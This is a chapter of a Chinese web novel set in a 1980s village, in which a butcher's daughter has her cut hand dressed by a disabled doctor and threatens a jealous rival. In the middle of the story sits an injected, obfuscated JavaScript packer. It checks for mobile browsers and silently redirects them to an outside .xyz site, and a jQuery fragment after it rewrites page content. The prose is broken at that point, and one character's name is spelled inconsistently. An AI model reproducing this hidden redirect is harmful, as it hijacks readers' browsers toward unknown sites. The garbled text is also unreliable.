直到王癞子连滚带爬、屁滚尿流地消失在村道拐角，姜至紧绷的神经才略微松懈。
这一松懈，左手掌心那股被强行压下的剧痛猛地反扑上来，像是有烧红的烙铁狠狠摁在了皮肉上。
她皱着眉低头看去。
一道寸许长的伤口赫然横在掌心，皮肉狰狞地向两侧翻卷开，露出底下一点森然的白色。
是方才被王癞子搅得分神时，挥刀不小心带到的。
先前怒气上头感觉还不真切，此刻痛感才汹涌而至。
脑子里还在不停地翻涌、消化着属于原主的海量记忆碎片，搅得她太阳穴突突直跳，昏昏沉沉。
这点皮肉伤算什么？她眉头拧得更紧，带着点破罐子破摔的烦躁，随手就从油腻腻的案板底下扯了块不知擦过什么的乌黑抹布，胡乱在流血的手掌上绕了几圈，狠狠一勒。
粗糙的布头立刻被浓稠的鲜血洇透，暗红的颜色迅速扩散开来。
旁边摊位卖青菜的刘大娘一直留意着这边，眼见那血洇得越来越快，忍不住担忧地开口：“姜丫头！这口子深得能看见骨头了！可不敢这么糊弄！赶紧的，去卫生所找新来的小陈大夫好好包一下！落下病根可了不得！”
姜至原本是真没太当回事，她性子里的那股子硬气让她本能地想把这伤归为“皮外伤”。
可眼看着那抹布几乎要被血浸透了，滴滴答答的血珠子顺着指缝落到地上，砸出小小的泥坑，她才觉得眼前有点发虚。
这身体失血过多的征兆让她不得不认怂，只得朝原主的爹妈——正在后院忙着烫猪毛剁排骨的姜大壮和刘秀芬吆喝了一声，便顺着记忆里那条通往村尾卫生所的土路，深一脚浅一脚地走去。
去卫生所的路不长，但夏末的午后闷热无风，这一段路走得格外艰难。
路过村口那棵枝繁叶茂的大槐树时，树底下一片难得的阴凉地里，几个村里出了名嘴碎的女人正聚在一起，手里的蒲扇有一下没一下地摇着。
在这巴掌大的村子里，这些纳凉的女人就是移动的信息集散中心，村里但凡有点风吹草动，就没有能逃脱她们法眼的。
姜至放慢了脚步，刻意靠近了些。她需要信息，需要了解这个她被迫卷入的世界。
“哎，听说没？苏村长家那个宝贝疙瘩金凤凰，苏雅丽那丫头，这回是真魔怔了！”一个尖细的声音迫不及待地开启了话题：“死活非要招那个残废的小陈大夫上门当女婿！你说这不是造孽吗？”
“啧啧啧，”旁边立刻有人咂着嘴接话：“图啥呢？那脸盘子是长得跟画上人似的，可那腿……唉，废得透透的！听说性子也闷得像个锯了嘴的葫芦，三棍子打下去都未必能嘣出个屁来！这不是自找罪受？”
“哼，就苏丽雅那大小姐性子，骄横惯了，能真心实意对人家好？”
另一个声音带着看透世情的凉薄：“图个新鲜呗！不就跟城里人弄个瓷娃娃摆着看两天？等那股子新鲜劲儿一过，瞧着不能走不能动的，嫌弃人家脏，嫌弃人家晦气，还不是一脚踢开的下场？可怜小陈大夫哦，好好一个省城来的大夫，落了这么个下场……”
姜至的步履微微一顿。
“残废小陈大夫”？这几个字像根针，在她混沌的脑海里刺了一下。
一丝模糊的印象浮起——原主的记忆角落里，似乎有个从省城下放来的医生，模样是顶顶的出众，可惜一双腿残废了，只能靠着轮椅行动。
村里人背后议论纷纷，当面却也只敢叫他一声“陈大夫”。
不过，这跟她有什么关系？她自嘲地摇摇头，甩开那点模糊的影子。
眼下火烧眉毛的是自己这快流干了的手！
她加快脚步，朝着村子最偏僻角落那个孤零零的小院走去。
*
村子里的房屋大多是低矮的土坯房，黄泥的墙面在烈日烘烤下显得格外灰败。
卫生所蜷缩在村西头的最后面，孤零零一栋，比寻常农舍还要破旧些。
窄小的木门已经看不出原本的颜色，上面那个象征着红十字的油漆标记剥落了大半，只剩浅淡模糊的几道红痕，勉强能辨认出个轮廓。
姜至忍着晕眩，抬手推开了那扇吱呀作响、仿佛随时会散架的木门。
一股浓烈的、刺鼻的消毒药水味混杂着某种苦涩草药的怪味，如同实质的浊浪般扑面而来，呛得她喉咙发痒，忍不住咳了两声。
昏暗的光线从糊着旧报纸的破窗户格里艰难地透进来，勉强照亮了狭小的屋子。靠墙立着几个简陋的木架子，上面稀稀拉拉地摆着些贴着模糊标签的药瓶和铝盒，几卷泛黄的纱布随意地堆在角落。
看着这比想象中还要简陋破败的景象，姜至心里不由得打起鼓来。
这八十年代的村卫生所，医疗条件能行吗？消毒……能过关吗？她盯着自己还在渗血的手掌，犹豫着往里面挪了两步。
屋子最里面，靠窗的位置，摆着一张油漆斑驳、露出木头原色的旧书桌。
一个身影坐在轮椅里，背脊挺得笔直，微微低着头，一手按着桌上一个泛黄卷边的旧笔记本，另一只手捏着一支廉价的钢笔，正在上面专注地写着什么。
笔尖划过粗糙的纸张，发出沙沙的轻响。
盛夏末尾那依旧炽烈的阳光，穿透糊着旧报纸的破窗棂，被切割成无数细碎的光斑，跳跃地落在他身上。
光线照亮了他洗得发白、领口袖口都磨得起了毛边的蓝色中山装，勾勒出他清瘦却挺拔的肩颈线条，也在他低垂的眉眼间投下浓密的阴影。
木门开启的声响惊动了他。
他停下笔，抬起了头。
那一瞬间，时间仿佛被按下了暂停键。姜至下意识地屏住了呼吸。
眉如远山墨黛，斜飞入鬓。眼若寒潭幽邃，深不见底。鼻梁高挺如削，薄唇紧抿，唇色是缺乏血色的淡粉。整张脸的轮廓精致得如同最高明的匠人精心雕琢出的玉像。
只是他的肤色，大概是常年困囿于这斗室，不见天日，呈现出一种近乎透明的冷白，清晰地映照出皮下淡青色的血管脉络，透着一股子病态的孱弱。
这冷白衬得他眼睑下方那一圈淡淡的青黑色阴影尤为醒目，像是被浓重的疲惫长久侵蚀过。
这个人，清冷、孤寂，周身萦绕着一种与这破败环境格格不入的疏离感。
就像一尊被遗弃在荒山野岭、早已断了香火的破败庙宇里的玉观音像，美得惊心动魄，却也因为那份无人问津的沉寂和显而易见的脆弱，易碎得让人心头发紧，不忍触碰。
“手伤了？”
声音响起，如同深秋寒潭水流过涧底圆润的卵石，清冽、低沉，听不出多少情绪起伏，却意外地熨帖了空气里的燥热。
姜至猛地从那极具冲击力的美貌中回过神，脸上莫名有点发烫。
她赶紧几步走过去，在书桌对面那张同样破旧的长条凳上坐下，伸出那只被脏污抹布裹得乱七八糟的手，哑着嗓子应道：“嗯，切肉的时候碰了一下，麻烦陈大夫了。”
消毒水的气味在狭小的卫生所里弥散。
陈最拆开染血的布条时，姜至看见他左手无名指有一道细长的旧疤——那是拿手术刀的手才会留下的印记。
八十年代的阳光透过糊着报纸的窗户，在他睫毛下投出细碎的阴影，像老式电影胶片上的划痕。
“忍着点。”他声音很轻，棉球蘸着双氧水按在伤口上时，泡沫翻涌的滋滋声让姜至想起过年烫猪毛的大铁锅。
她倒吸冷气的声音惊飞了窗外麻雀，陈最突然停下动作，从白瓷盘里拣出颗水果糖。
玻璃糖纸在阳光下折射出七彩光斑，是那个年代罕见的进口货。
姜至愣愣地看着他剥糖纸的手指，修长苍白得像解剖课上泡过福尔马林的标本。
糖块被塞进她嘴里时，舌尖尝到橘子香精的甜味，混着铁锈般的血腥气。
“省城带来的？”她含混地问，目光落在他颈后那道蜿蜒入衣领的疤痕上。
陈最的睫毛几不可察地颤了颤，镊子夹起纱布的动作依然平稳，仿佛没听见她的问题。
*
门外传来“蹬蹬”的皮鞋声，像宣告般踩碎了室内的宁静。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271326|182312||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
苏雅丽的确良衬衫上印着上海产的牡丹花，烫卷的发梢用红绸带扎着，浑身上下都写着“供销社紧俏货”五个字。
她涂着丹蔻的手指在门框上敲出咄咄逼人的节奏：“陈最，我爹让你……”
话音戛然而止。
姜至看见苏雅丽瞳孔里映出的画面——陈最倾身给她系纱布结时，洗白的衣领下露出一截清瘦的锁骨，而她沾着猪油的手正无意识地攥紧他袖口的褶皱。
“残废配屠户？”苏雅丽尖笑时露出虎牙上的金套：“陈最你也就……”
案板上的砍刀突然出现在姜至手里。刀面反射的阳光晃过苏雅丽的眼睛，像杀猪时放血那瞬的寒光。
姜至用刀尖挑起苏雅丽胸前那枚镀金的共青团徽章，金属刮擦声让人牙酸：“去年公社表彰大会，你这团徽别的位置……”
她突然凑近，在对方耳边用气音说：“是坐在王书记腿上的时候别歪的吧？”
苏雅丽脸色霎时惨白。
姜至甩手将团徽钉在门板上，入木三分的力道让整个屋子都震了震。
陈最的轮椅发出“吱呀”轻响，姜至回头时，看见他攥着纱布的手背暴起青筋，像冻土下挣扎的树根。
这份沉默在苏雅丽看来是懦弱，在姜至眼里却成了隐忍的脆弱。
姜至的火“噌”地冒起。
她猛地抽回刚包好的手，豁然起身，高挑的身影瞬间凑近，将苏丽雅笼罩在阴影里。
姜至眼神如刀般锋利，她指着苏雅丽一字一顿威胁道：“苏雅丽，你再说一句‘残废’试试？信不信老娘让你这张脸，比案板上的猪头还好看？”
苏丽雅被姜至的凶悍和杀气压得脸色发白，她倒退一步，色厉内荏道：“你……你敢！”
但是她却不敢再骂，只是狠狠瞪了陈最一眼，然后就跺脚跑了。
*
“诊费。”姜至掏出三张皱巴巴的粮票压在搪瓷盘下。
陈最摇头时，她突然按住他轮椅扶手俯身，围裙上的血腥味与橘子糖的甜香古怪地交融：“陈大夫，当年我外婆说，吃人糖的得还人情。”
她指尖掠过他颈后伤疤：“你这儿，有碎玻璃渣。”
看着陈最那弱不禁风的样子，她忍不住心生怜爱，又伸手拍了拍他的肩膀：“你放心，以后在这儿姐罩着你。”
也不知道是不是光线的问题，姜至好像看见他脸红了。
只是陈最什么都没有说，点了点头，就调转轮椅进了里屋。
林小满跑来报信时，姜至正在磨刀石上蹭砍刀。
铁器相刮的火星溅在她眼底，映出十年前舅舅抢走外婆救命钱的那个雪夜。
卫生所方向突然传来玻璃碎裂的声响，她甩手将砍刀劈进枣树，树身簌簌震落满地青果。
“姜姐！不好了！我刚听苏雅丽跟她爹哭闹，说三天内陈最不答应入赘，她就找二狗子他们天天去卫生所‘照顾’他！陈最那性子……肯定吃亏！”
突然，林小满抓住姜至胳膊，眼神恳切：“姜姐！村里只有你不怕苏家！只有你能护住他了！”
姜至脚步顿住，回头望向那扇破旧的卫生所木门。
她的脑海里闪过那双沉寂如古井的眼，那截脆弱苍白的脖颈，以及苏雅丽刻毒的嘴脸。
她又想起当年舅舅逼着外婆要钱时候那不要脸的模样，顿时，一股混杂着怒气和莫名怜惜的情绪在胸腔翻涌。
“告诉二狗子，”姜至解下血迹斑斑的围裙，露出里面洗得发白的劳动布工装：“就说姜一刀今晚要请他们吃杀猪菜。”
她摸出兜里那颗带着体温的水果糖，糖纸上的外文字母在夕阳下闪闪发亮。
暮色四合时，陈最的轮椅碾过满地碎玻璃。
月光照亮门板上新钉的纸条，上面用圆珠笔画了把夸张的杀猪刀，刀尖挑着朵歪歪扭扭的牡丹——正是苏雅丽衬衫上那款的拙劣模仿。
纸条背面写着：“明早来吃猪杂汤，给你留最嫩的肝尖。”
窗台上的搪瓷缸里，三张粮票被颗橘子糖压着，糖纸折成了只振翅欲飞的鹤。